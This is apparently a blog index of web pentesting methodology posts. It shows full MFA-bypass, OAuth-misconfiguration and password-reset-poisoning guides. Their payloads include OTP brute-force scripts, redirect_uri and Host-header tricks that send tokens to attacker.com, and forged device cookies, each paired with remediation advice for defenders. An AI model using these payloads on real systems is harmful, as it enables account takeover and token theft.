Brute Force & Credential Stuffing

Brute Force & Credential Stuffing Severity: High | CWE: CWE-307, CWE-521 OWASP: A07:2021 – Identification and Authentication Failures What Is the Attack Class? Credential stuffing: automated use of username/password pairs from previous data breaches against a target application β€” relies on password reuse. Brute force: systematic testing of all possible passwords or a targeted wordlist against a known username. Password spraying: test one or a few common passwords across many accounts β€” avoids per-account lockout while still achieving high success rates against weak password policies. ...

February 24, 2026 Β· 11 min Β· MrAzoth

Default Credentials

Default Credentials Severity: Critical | CWE: CWE-1392, CWE-521 OWASP: A07:2021 – Identification and Authentication Failures What Is the Attack? Default credential attacks target systems where the vendor-supplied default username/password was never changed. This encompasses network devices, databases, application frameworks, content management systems, IoT devices, and cloud management consoles. Despite being one of the oldest attacks, it remains one of the most consistently successful β€” particularly against internal network services discovered through prior access, and against externally-facing admin interfaces. ...

February 24, 2026 Β· 8 min Β· MrAzoth

JWT Attacks

JWT Attacks Severity: High–Critical | CWE: CWE-347 OWASP: A02:2021 – Cryptographic Failures What Is a JWT? A JSON Web Token consists of three base64url-encoded parts separated by dots: HEADER.PAYLOAD.SIGNATURE eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ← header: {"alg":"HS256","typ":"JWT"} .eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ ← payload: {"sub":"user123","role":"user"} .SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← HMAC-SHA256 signature The server trusts the payload only if the signature is valid. Every attack targets the signature verification step. Attack Surface # Where JWTs appear: Authorization: Bearer eyJ... Cookie: token=eyJ... Cookie: session=eyJ... X-Auth-Token: eyJ... POST body: {"token": "eyJ..."} URL parameter: ?jwt=eyJ... # Identify JWT: - Three base64url segments separated by dots - Starts with eyJ (base64 of {"al or {"ty) - Can decode header/payload with: base64 -d (pad with = if needed) Discovery Checklist Find all JWT tokens in requests/responses Decode header: echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d Note alg field β€” is it HS256, RS256, none, ES256? Test alg: none bypass Test algorithm confusion: RS256 β†’ HS256 with public key as secret Test weak secret brute-force Test kid header injection (SQL, path traversal, SSRF) Test jku / x5u header injection (external JWK set) Test jwk header embedding Modify payload claims (role, admin, sub) β€” does server validate signature? Payload Library Attack 1 β€” alg: none (Unsigned Token) Some libraries accept tokens with no signature when alg is set to none. ...

February 24, 2026 Β· 6 min Β· MrAzoth

MFA Bypass Techniques

MFA Bypass Techniques Severity: Critical | CWE: CWE-304, CWE-287 OWASP: A07:2021 – Identification and Authentication Failures What Is MFA Bypass? Multi-Factor Authentication requires something you know + something you have/are. Bypasses exploit: logic flaws in implementation (skipping the MFA step), OTP brute force, session state manipulation, SS7/SIM attacks, phishing-in-real-time, and backup code abuse. Discovery Checklist Map the full auth flow: login β†’ MFA challenge β†’ success Test skipping the MFA step entirely (direct navigate to post-auth page) Test replaying the login-only session token before MFA completion Test OTP brute force β€” is there a rate limit per account? Test OTP reuse β€” can same OTP be used twice? Test OTP validity window β€” accepts OTPs from past/future periods? Test backup codes β€” length, entropy, reuse policy Test β€œremember this device” bypass β€” forged cookie value Test MFA skip via OAuth SSO (if SSO login doesn’t require MFA) Test API endpoint directly vs web UI (API may skip MFA) Test race condition on OTP validation Test response manipulation β€” change mfa_required: true to false Payload Library Attack 1 β€” Step Skip / Flow Bypass # Login with valid credentials β†’ MFA challenge shown # Instead of entering OTP, navigate directly to authenticated endpoint: # Step 1: POST /login β†’ response: {"status": "mfa_required", "session": "PARTIAL_SESSION"} # Step 2: Instead of GET /mfa-verify, try: curl -s https://target.com/dashboard \ -b "session=PARTIAL_SESSION" # Or: after /login, check if full session cookie is already set: # If Set-Cookie: auth_session=... is in /login response β†’ already authenticated? curl -s -c cookies.txt -X POST https://target.com/login \ -d "username=victim&password=password" cat cookies.txt # Use the session cookie directly: curl -s https://target.com/account/profile -b "auth_session=VALUE" # Test skipping via direct URL: # /mfa-challenge?redirect=/admin β†’ skip to /admin curl -s "https://target.com/mfa-challenge?redirect=/admin" \ -b "partial_session=VALUE" Attack 2 β€” OTP Brute Force # TOTP is 6 digits = 1,000,000 combinations # But window is usually 30s β†’ only 3 valid codes at a time # Rate limiting is the critical defense # Burp Intruder payload: 000000 to 999999 # Or generate wordlist: python3 -c " for i in range(1000000): print(f'{i:06d}') " > otp_wordlist.txt # ffuf: ffuf -u https://target.com/verify-otp -X POST \ -d "otp=FUZZ" \ -H "Content-Type: application/x-www-form-urlencoded" \ -b "session=PARTIAL_SESSION" \ -w otp_wordlist.txt \ -mc 302,200 -fr "Invalid OTP" # Race condition burst (all within 30s window): import threading, requests def try_otp(code): r = requests.post("https://target.com/verify-otp", data={"otp": str(code).zfill(6)}, cookies={"session": "PARTIAL_SESSION"}, allow_redirects=False) if r.status_code != 200 or "Invalid" not in r.text: print(f"[HIT] {code}: {r.status_code}") threads = [threading.Thread(target=try_otp, args=(i,)) for i in range(1000000)] # Not practical, but for short-range: narrow window with timing Attack 3 β€” Response Manipulation # Intercept MFA verification response: # Original failure response: {"success": false, "mfa_verified": false, "message": "Invalid OTP"} # Modified: {"success": true, "mfa_verified": true, "message": "OTP verified"} # Redirect-based bypass: # Original: 302 to /mfa-challenge (OTP failed) # Change to: 302 to /dashboard # Boolean field manipulation: # If response contains: {"require_mfa": true} # Intercept and change: {"require_mfa": false} # Then resend β€” if client-side logic processes this value # Status code manipulation: # 401 Unauthorized β†’ 200 OK (some client-side apps trust status code) # Change HTTP/1.1 401 to HTTP/1.1 200 Attack 4 β€” OTP Reuse and Extended Window # Test OTP reuse: # 1. Get valid OTP from authenticator app # 2. Use it once (success) # 3. Immediately try to use same OTP again # β†’ Should fail; if it succeeds β†’ OTP not invalidated after use # Test extended time window: # Standard TOTP window: Β±1 period (90s total) # Test with: current OTP from 10 minutes ago # β†’ If app accepts β†’ overly large window # Test OTP from previous session: # User A gets OTP, doesn't use it # User B's account gets OTP submitted with User A's (stolen) OTP # (Bypasses if OTPs aren't account-bound) Attack 5 β€” Backup Code Enumeration # Backup codes are typically 8-10 numeric digits # Test brute force if no rate limit: ffuf -u https://target.com/backup-code-verify -X POST \ -d "code=FUZZ" \ -H "Content-Type: application/x-www-form-urlencoded" \ -b "session=PARTIAL_SESSION" \ -w <(python3 -c " for i in range(100000000): print(f'{i:08d}') ") -mc 302,200 -fr "Invalid" # Backup code format patterns: # XXXX-XXXX (8 hex groups) # 123456789 (9 digits) # abc12def (alphanumeric 8 chars) # Test: if backup code only validated on front-end (JavaScript): # Disable JS, submit any code β†’ does server still validate? Attack 6 β€” β€œRemember Device” Bypass # If "remember this device for 30 days" stores a cookie: # Test: forge a plausible "remember_device" token # Common formats: # base64(user_id + "|" + device_id) # HMAC-SHA256 signed token (check for weak secret) # Simple UUID or random string # Extract legitimate "remember" cookie: # Set-Cookie: remembered_device=BASE64_VALUE echo "BASE64_VALUE" | base64 -d # β†’ user_id:12345:device:abc123:exp:1735000000 # Forge for admin: echo -n "user_id:1:device:abc123:exp:9999999999" | base64 # Set cookie with forged value: curl -s https://target.com/login \ -d "username=admin&password=KNOWN" \ -b "remembered_device=FORGED_VALUE" Attack 7 β€” SIM Swap / SS7 (SMS-based OTP) # Conceptual β€” not a web test, but relevant context: # SMS OTP attacks: # 1. SIM swap: social engineer carrier β†’ receive victim's SMS # 2. SS7 attack: intercept SMS at telecom level # 3. SIM clone (physical access) # 4. OTP phishing: real-time AITM proxy (Evilginx, Modlishka) # Real-time phishing proxy (Evilginx): # Sets up a reverse proxy that sits between victim and target # Victim authenticates (including MFA) β†’ proxy captures session cookie # No need to bypass MFA technically β€” proxy passes it through and steals the session # Test: is SMS OTP the only MFA option? Can attacker downgrade to SMS from TOTP? # Try: change MFA method from TOTP to SMS in account settings Attack 8 β€” API MFA Bypass # Web UI enforces MFA but API endpoints may not: # Test direct API access after password-only auth: # Web login: POST /login β†’ redirects to /mfa-verify # API login: POST /api/v1/auth/login β†’ returns token directly? curl -s -X POST https://target.com/api/v1/auth/login \ -H "Content-Type: application/json" \ -d '{"username": "admin", "password": "password"}' # β†’ If returns {"token": "..."} without MFA β†’ API bypass # Mobile API may have separate endpoint: POST /mobile/v2/auth/login # different than web POST /app/login # mobile-specific Tools # Burp Suite: # - Proxy: intercept MFA response β†’ Repeater for manipulation # - Intruder: OTP brute force with 000000-999999 payload # - Turbo Intruder: race condition on OTP validation # pyotp β€” generate valid TOTP codes (if secret is known/leaked): pip3 install pyotp python3 -c "import pyotp; print(pyotp.TOTP('SECRET_BASE32').now())" # Test rate limiting β€” expect lockout after N attempts: for i in $(seq 1 20); do curl -s -X POST https://target.com/verify-otp \ -d "otp=$(printf '%06d' $i)" \ -b "session=PARTIAL_SESSION" | head -1 done # Evilginx (adversary-in-the-middle phishing framework): # github.com/kgretzky/evilginx2 # For authorized phishing simulations only # Monitor MFA response timing: # Time-based oracle: correct OTP may take longer (DB lookup) vs wrong OTP for otp in 000000 000001 123456; do time curl -s -X POST https://target.com/verify-otp \ -d "otp=$otp" -b "session=VAL" > /dev/null done Remediation Reference Enforce MFA check server-side on every protected endpoint β€” not just at the MFA step Invalidate partial-auth session tokens if MFA not completed within time limit Rate-limit OTP attempts: max 5–10 per 15 minutes, account lockout after threshold Single-use OTPs: immediately invalidate after first successful use Narrow TOTP window: Β±1 period (30s drift) is sufficient; never more than Β±2 Account-bind OTPs: TOTP codes must be verified against the specific user’s secret Phishing-resistant MFA: prefer hardware keys (WebAuthn/FIDO2) over TOTP or SMS Remove SMS as fallback if TOTP/WebAuthn is available β€” SMS is the weakest link Part of the Web Application Penetration Testing Methodology series.

February 24, 2026 Β· 6 min Β· MrAzoth

OAuth 2.0 Misconfigurations

OAuth 2.0 Misconfigurations Severity: Critical | CWE: CWE-601, CWE-346, CWE-287 OWASP: A07:2021 – Identification and Authentication Failures What Is OAuth 2.0? OAuth 2.0 is an authorization framework that lets third-party applications access resources on behalf of a user without exposing credentials. Key flows: Authorization Code Flow (most common, most secure): 1. App redirects user β†’ Authorization Server with client_id, redirect_uri, scope, state 2. User authenticates β†’ AS redirects back with ?code=AUTH_CODE&state=... 3. App exchanges code for access_token (server-to-server, with client_secret) 4. App uses access_token to query Resource Server Implicit Flow (legacy, token in URL fragment β€” mostly deprecated): β†’ Access token delivered directly in redirect URL Client Credentials (machine-to-machine, no user): β†’ client_id + client_secret β†’ access_token Resource Owner Password (deprecated, legacy): β†’ username + password directly to token endpoint Discovery Checklist Find authorization endpoint: /oauth/authorize, /authorize, /auth, /.well-known/openid-configuration Find token endpoint: /oauth/token, /token Check redirect_uri validation β€” wildcard, partial match, path bypass Check state parameter β€” missing, static, predictable Test PKCE bypass (Authorization Code with PKCE) Test response_type manipulation (codeβ†’token, etc.) Test token endpoint for client auth weaknesses (no secret required) Check access token scope escalation Check token leakage in Referer, logs, URL parameters Test account linking/pre-linking CSRF Test implicit flow token theft via open redirect Check for /.well-known/oauth-authorization-server or /.well-known/openid-configuration Review scope parameter for privilege escalation Test authorization code reuse (should be single-use) Payload Library Attack 1 β€” redirect_uri Bypass # Strict match bypass β€” add trailing slash or path component: # Registered: https://app.com/callback https://app.com/callback/ https://app.com/callback/extra https://app.com/callback%0d%0a https://app.com/callback%2f..%2fattacker # Query string append (if server checks prefix only): https://app.com/callback?next=https://attacker.com # Fragment bypass: https://app.com/callback#https://attacker.com # Path traversal out of registered path: # Registered: https://app.com/oauth/callback https://app.com/oauth/callback/../../../attacker-path # Subdomain wildcards β€” if registered *.app.com: https://attacker.app.com/callback # URL parser confusion (duplicate host): https://app.com@attacker.com/callback https://attacker.com#app.com/callback # Full open redirect chain: # 1. Find open redirect on app.com: /redirect?url=https://attacker.com # 2. Register redirect_uri as: https://app.com/redirect?url=https://attacker.com # 3. Auth code leaks via Referer to attacker.com # Craft full attack URL: https://authorization-server.com/authorize? client_id=APP_CLIENT_ID& response_type=code& redirect_uri=https://app.com/redirect?url=https://attacker.com& scope=profile+email& state=STOLEN_STATE Attack 2 β€” Missing / Predictable state Parameter (CSRF on OAuth) # Check if state is missing: GET /authorize?client_id=X&redirect_uri=https://app.com/cb&response_type=code&scope=email # β†’ No state= parameter β†’ CSRF-based account hijack possible # If state is predictable (sequential, timestamp): # Monitor multiple auth flows β†’ detect pattern # CSRF attack β€” force victim to link attacker's account: # 1. Attacker starts OAuth flow, gets state+code from own account # 2. Attacker builds URL: /callback?code=ATTACKER_CODE&state=... # 3. Attacker tricks victim into visiting that URL # 4. Victim's session gets linked to attacker's OAuth identity # PoC page: <img src="https://app.com/oauth/callback?code=ATTACKER_AUTH_CODE" width=0 height=0> Attack 3 β€” Authorization Code Interception (Implicit Flow) # Implicit flow: token delivered in URL fragment β†’ leaks via Referer, history, logs # If app uses response_type=token (implicit): https://as.com/authorize?client_id=X&response_type=token&redirect_uri=https://app.com/cb # Steal token via open redirect in redirect_uri: https://as.com/authorize? client_id=X& response_type=token& redirect_uri=https://app.com/redir?goto=https://attacker.com # Token in fragment: https://attacker.com#access_token=TOKEN&token_type=bearer # Attacker JS reads location.hash β†’ steals token # Force implicit flow even if app uses code flow: # Change response_type=code to response_type=token # If AS allows both β†’ token in URL, no code exchange needed Attack 4 β€” Scope Escalation # Request more scopes than application intended: # Registered scopes: profile email # Try adding: admin write delete openid https://as.com/authorize? client_id=LEGITIMATE_APP_ID& response_type=code& redirect_uri=https://app.com/callback& scope=profile+email+admin+write # If AS doesn't validate scope against client registration β†’ escalated token # Try undocumented scopes: scope=profile scope=profile email admin scope=openid profile email phone address scope=offline_access # get refresh token scope=https://graph.microsoft.com/.default # Azure AD full access # Use legitimate client_id with expanded scope β€” token issued to legitimate app # but contains elevated permissions not intended for that client # GraphQL-style scope: some APIs use resource-based scopes scope=read:users write:users delete:users admin:org Attack 5 β€” Authorization Code Reuse # Authorization codes must be single-use. Test reuse: # 1. Complete OAuth flow β†’ capture code from redirect # 2. Re-submit same code: POST /oauth/token HTTP/1.1 Host: as.com Content-Type: application/x-www-form-urlencoded grant_type=authorization_code& code=AUTH_CODE_JUST_USED& redirect_uri=https://app.com/callback& client_id=CLIENT_ID& client_secret=CLIENT_SECRET # If reuse works β†’ token issued twice β†’ code theft attack viable Attack 6 β€” Token Leakage via Referer # Authorization code in URL gets logged in: # - Browser history # - Server access logs # - Referer header to next page's external resources (scripts, images, trackers) # Test: after OAuth callback (URL has ?code=...), check: # - Does page load external resources (scripts, images)? # - Is Referer header sent with those requests? # β†’ Referer contains auth code β†’ any external origin sees it # Intercept with Burp and check outgoing Referer headers after /callback # For implicit flow: fragment (#access_token=...) is not sent in Referer # But single-page apps often pass it via postMessage or XHR β†’ check JS handling Attack 7 β€” Account Pre-Linking / Takeover # Scenario: App allows "link your Google account" # Attack: Pre-link victim's email to attacker's account before victim registers # 1. Attacker registers with victim@gmail.com (if email not verified) # 2. OR: attacker uses CSRF to link OAuth account to existing target account # 3. Victim later registers/links β†’ attacker already has access # Also: OAuth account takeover via email collision: # If IDP A and IDP B both return same email β†’ app merges accounts # Register on IDP A with victim@gmail.com (unverified allowed) # Victim registers directly with password β†’ attacker's OAuth links to it # Check: does app require email verification before OAuth account linking? # Does app match accounts by email across different OAuth providers? Attack 8 β€” PKCE Bypass # PKCE (Proof Key for Code Exchange) β€” S256 or plain challenge # code_verifier β†’ SHA256 β†’ base64url β†’ code_challenge # If server accepts plain method (no hash): # code_challenge = code_verifier (same value) # If server doesn't validate method: submit without code_verifier in exchange # Intercept authorization request: GET /authorize? code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM& code_challenge_method=S256& ... # Manipulate to plain: code_challenge_method=plain code_challenge=<plaintext_verifier> # Skip PKCE in token exchange: POST /token grant_type=authorization_code&code=CODE&redirect_uri=URI # Omit code_verifier entirely β†’ if server doesn't enforce it Tools # OAuth 2.0 testing with Burp Suite: # - Extension: "OAuth Scan" (BApp Store) # - Extension: "CSRF Scanner" for state check # - Repeater: replay auth codes, modify scope, test redirect_uri # Manual token decode: echo "ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool # oauth2-proxy fuzzing: # Test redirect_uri with ffuf: ffuf -u "https://as.com/authorize?client_id=X&redirect_uri=FUZZ&response_type=code" \ -w redirect_uri_payloads.txt # Check .well-known: curl -s https://target.com/.well-known/openid-configuration | python3 -m json.tool curl -s https://target.com/.well-known/oauth-authorization-server | python3 -m json.tool # Find OAuth endpoints via JS source: grep -r "oauth\|authorize\|redirect_uri\|client_id" js/ --include="*.js" # jwt_tool for inspecting tokens: python3 jwt_tool.py ACCESS_TOKEN # Test scope explosion β€” pass all known OAuth scopes: scope=openid+profile+email+phone+address+offline_access+admin+write+read+delete Remediation Reference Strict redirect_uri validation: exact match only, no wildcard, no path prefix matching Enforce state parameter: cryptographically random, bound to session, validated on return Single-use authorization codes: invalidate after first use, short TTL (< 60 seconds) PKCE required for public clients and mobile apps β€” reject plain method Scope allowlist per client: don’t let clients request scopes beyond registration Bind access tokens to client: verify client_id on every token introspection Never include tokens in URLs: use POST body or Authorization header only Verify email before account linking/merging across OAuth providers Part of the Web Application Penetration Testing Methodology series.

February 24, 2026 Β· 6 min Β· MrAzoth

OpenID Connect (OIDC) Vulnerabilities

OpenID Connect (OIDC) Vulnerabilities Severity: High–Critical | CWE: CWE-287, CWE-346 OWASP: A07:2021 – Identification and Authentication Failures | A01:2021 – Broken Access Control What Is OIDC? OpenID Connect (OIDC) is an identity layer built on top of OAuth 2.0. While OAuth handles authorization (who can access what), OIDC handles authentication (who the user is). It introduces the ID Token β€” a JWT containing identity claims β€” and the UserInfo endpoint for additional claims. ...

February 24, 2026 Β· 10 min Β· MrAzoth

Password Reset Poisoning

Password Reset Poisoning Severity: High–Critical | CWE: CWE-640, CWE-601 OWASP: A07:2021 – Identification and Authentication Failures What Is Password Reset Poisoning? Password reset poisoning exploits the generation of password reset links using attacker-influenced inputs β€” most commonly the Host header, X-Forwarded-Host, or other headers that control the domain embedded in the reset link. Normal flow: POST /reset β†’ App generates https://target.com/reset?token=abc β†’ Email sent Poisoned flow: POST /reset Host: attacker.com ← modified β†’ App generates https://attacker.com/reset?token=abc β†’ Email sent β†’ Victim clicks β†’ token delivered to attacker.com β†’ Attacker resets victim's password Discovery Checklist Find the password reset request (POST /forgot-password, /reset-password, etc.) Modify Host header β†’ check if reflected in reset link (monitor email or OOB) Test X-Forwarded-Host, X-Host, X-Forwarded-Server, X-HTTP-Host-Override Test Referer header β€” some apps use it to build base URL Test Host with port: target.com:attacker.com β€” host confusion Test with Burp Collaborator as header value Test token predictability β€” sequential, time-based, short length Test token expiry β€” does it expire? After how long? Test token reuse β€” can same token be used twice? Test for token in URL (GET-based reset) β€” Referer leakage Check if token is leaked in response body, JSON, or other headers Test same token for all accounts (global/static token) Test race condition: request reset β†’ use token β†’ request again Payload Library Attack 1 β€” Host Header Poisoning # Step 1: Identify the password reset endpoint POST /forgot-password HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded email=victim@corp.com # Step 2: Modify Host to attacker-controlled (use Burp Collaborator): POST /forgot-password HTTP/1.1 Host: COLLABORATOR_ID.oast.pro Content-Type: application/x-www-form-urlencoded email=victim@corp.com # Step 3: Check Collaborator for incoming request with token # e.g.: GET /reset?token=VICTIM_TOKEN HTTP/1.1 Host: COLLABORATOR_ID.oast.pro # Step 4: Use token to reset victim's password POST /reset-password HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded token=VICTIM_TOKEN&password=NewPassword123&confirm=NewPassword123 Attack 2 β€” X-Forwarded-Host Override # Many frameworks prefer X-Forwarded-Host over Host for URL generation: POST /forgot-password HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com email=victim@corp.com # Variants to test: X-Host: attacker.com X-Forwarded-Server: attacker.com X-Original-Host: attacker.com X-Rewrite-URL: https://attacker.com/reset # Password reset via API (JSON body): POST /api/auth/forgot-password HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com Content-Type: application/json {"email": "victim@corp.com"} Attack 3 β€” Dangling Markup via Host Injection # If only part of the URL is controlled: # Host injection β†’ partial reset link poisoning # Inject newline to add hidden header / exfil via img tag: Host: target.com X-Forwarded-Host: attacker.com"><img src="https://attacker.com/?x= # The email HTML becomes: # Reset your password: https://attacker.com"><img src="https://attacker.com/?x=.../reset?token=abc # β†’ If email client renders HTML: token in img src request to attacker Attack 4 β€” Token Analysis and Brute Force # Analyze token structure: # Request multiple resets for your own account β†’ compare tokens # Token A: 5f4dcc3b5aa765d61d8327de (hex-encoded MD5?) # Token B: 6cb75f652a9b52798eb6cf2201057c73 # Token C: 098f6bcd4621d373cade4e832627b4f6 # MD5/SHA1 check: echo -n "password" | md5sum # 5f4dcc3b5aa765d61d8327de echo -n "test" | md5sum # 098f6bcd4621d373cade4e832627b4f6 # If token = md5(email): echo -n "victim@corp.com" | md5sum # If token = md5(username + timestamp): python3 -c "import hashlib,time; print(hashlib.md5(f'admin{int(time.time())}'.encode()).hexdigest())" # Sequential token detection: # Token 1: 1001, Token 2: 1002 β†’ Token for admin may be 1003 # Short token brute force (6-char alphanumeric = 56 billion but 6-digit numeric = 1M): python3 -c " import requests, string, itertools chars = string.digits for token in itertools.product(chars, repeat=6): t = ''.join(token) r = requests.get(f'https://target.com/reset?token={t}') if r.status_code == 200 and 'Invalid' not in r.text: print(f'Valid token: {t}') break " Attack 5 β€” Token in Referer Leakage # If reset link is: https://target.com/reset?token=abc123 # Page at /reset loads external resources (Google Analytics, CDN scripts) # Referer header leaks the token to third parties # Test: visit the reset link β†’ check outgoing Referer headers in Burp # Network tab β†’ look for requests to external domains after clicking reset link # If token is in query string β†’ it leaks to: # - Google Analytics # - Any third-party script on the reset page # - Browser history # - Web server access logs # Also test: is token in response JSON after POST? POST /api/reset-password { "email": "attacker@myown.com" } # Response: {"success": true, "token": "abc123", "message": "Email sent"} # β†’ Token exposed in API response directly Attack 6 β€” Reset Token as Login Bypass # Some apps accept reset token as authentication: GET /reset?token=TOKEN β†’ shows reset form POST /reset?token=TOKEN β†’ changes password # Test: can you skip the password change and use the token to log in? # (Depends on implementation β€” some single-step flows) # Also: does reset token work as a temp session? GET /dashboard HTTP/1.1 Cookie: session=RESET_TOKEN # β†’ If app accepts reset token as session cookie Tools # Burp Collaborator: # Use BURP_COLLABORATOR.oast.pro as Host value # Check Collaborator for incoming DNS + HTTP with reset token # interactsh (open-source Collaborator alternative): interactsh-client -v # Get your interactsh URL, use as Host value # Token analysis: python3 -c " import base64, hashlib token = 'YOUR_RESET_TOKEN' # Check base64: try: print('b64:', base64.b64decode(token + '==')) except: pass # Check hex/hash length: print(f'Len: {len(token)}, Hex: {all(c in \"0123456789abcdef\" for c in token.lower())}') " # Multiple reset requests for analysis: for i in $(seq 1 5); do curl -s -X POST https://target.com/forgot-password \ -d "email=attacker+$i@yourdomain.com" & done wait # Check all received emails β†’ compare tokens for patterns # Burp Intruder for token brute-force: # GET /reset?token=Β§0000000000Β§ # Payload: Numbers 0000000000 to 9999999999 # Match: "New Password" in response Remediation Reference Generate reset URL from server configuration, not from the Host request header Enforce strict host validation: use ALLOWED_HOSTS / server_name configuration Cryptographically random tokens: 256-bit entropy minimum (secrets.token_urlsafe(32) in Python) Short TTL: reset tokens expire in 10–60 minutes Single-use: invalidate token immediately after use (even failed attempts after 3 tries) Never send token in response body: send only via email to registered address Bind token to specific email/account: verify that token matches the requesting account Avoid query-string tokens for long-lived operations β€” use POST body or signed JWT with short TTL Part of the Web Application Penetration Testing Methodology series.

February 24, 2026 Β· 5 min Β· MrAzoth

SAML Attacks

SAML Attacks Severity: Critical | CWE: CWE-287, CWE-347, CWE-611 OWASP: A07:2021 – Identification and Authentication Failures What Is SAML? SAML (Security Assertion Markup Language) is an XML-based SSO standard. The Service Provider (SP) delegates authentication to an Identity Provider (IdP). The IdP returns a signed SAML Assertion inside a SAMLResponse, which the SP must validate before granting access. User β†’ SP β†’ (redirect) β†’ IdP β†’ (user authenticates) β†’ IdP issues SAMLResponse ← POST SAMLResponse ← (redirect back to SP ACS URL) SP validates signature β†’ extracts NameID/attributes β†’ creates session Critical fields in a SAMLResponse: ...

February 24, 2026 Β· 6 min Β· MrAzoth

Timing Attacks on Authentication

Timing Attacks on Authentication Severity: Medium–High | CWE: CWE-208, CWE-385 OWASP: A02:2021 – Cryptographic Failures | A07:2021 – Identification and Authentication Failures What Are Timing Attacks? Timing attacks exploit measurable differences in processing time to infer secret information β€” whether a guess is correct, whether a user exists, or whether a token matches. The root cause is non-constant-time comparison: == short-circuits on the first mismatch, so comparing "AAAA" == "AAAB" takes longer than "AAAA" == "ZZZZ" because the mismatch occurs later in the first case. ...

February 24, 2026 Β· 11 min Β· MrAzoth

Username Enumeration

Username Enumeration Severity: Medium | CWE: CWE-204, CWE-203 OWASP: A07:2021 – Identification and Authentication Failures What Is Username Enumeration? Username enumeration allows an attacker to determine which usernames (email addresses, account identifiers) are registered in a system. Even without a password, a validated target list dramatically improves credential stuffing, targeted phishing, and brute force efficiency. Enumeration channels: Differential HTTP responses: different status code, body text, or length for valid vs invalid usernames Timing differences: valid usernames trigger more computation (password hash comparison) β†’ measurable delay Indirect channels: password reset, registration, OAuth errors, email verification, API error bodies, profile URLs Indicator comparison: Invalid user: HTTP 200, body: "Invalid credentials" (13ms) Valid user: HTTP 200, body: "Invalid credentials" (87ms) ← timing leak β†’ identical visible response, but 74ms difference β†’ valid user does bcrypt compare Discovery Checklist Phase 1 β€” Login Endpoint ...

February 24, 2026 Β· 9 min Β· MrAzoth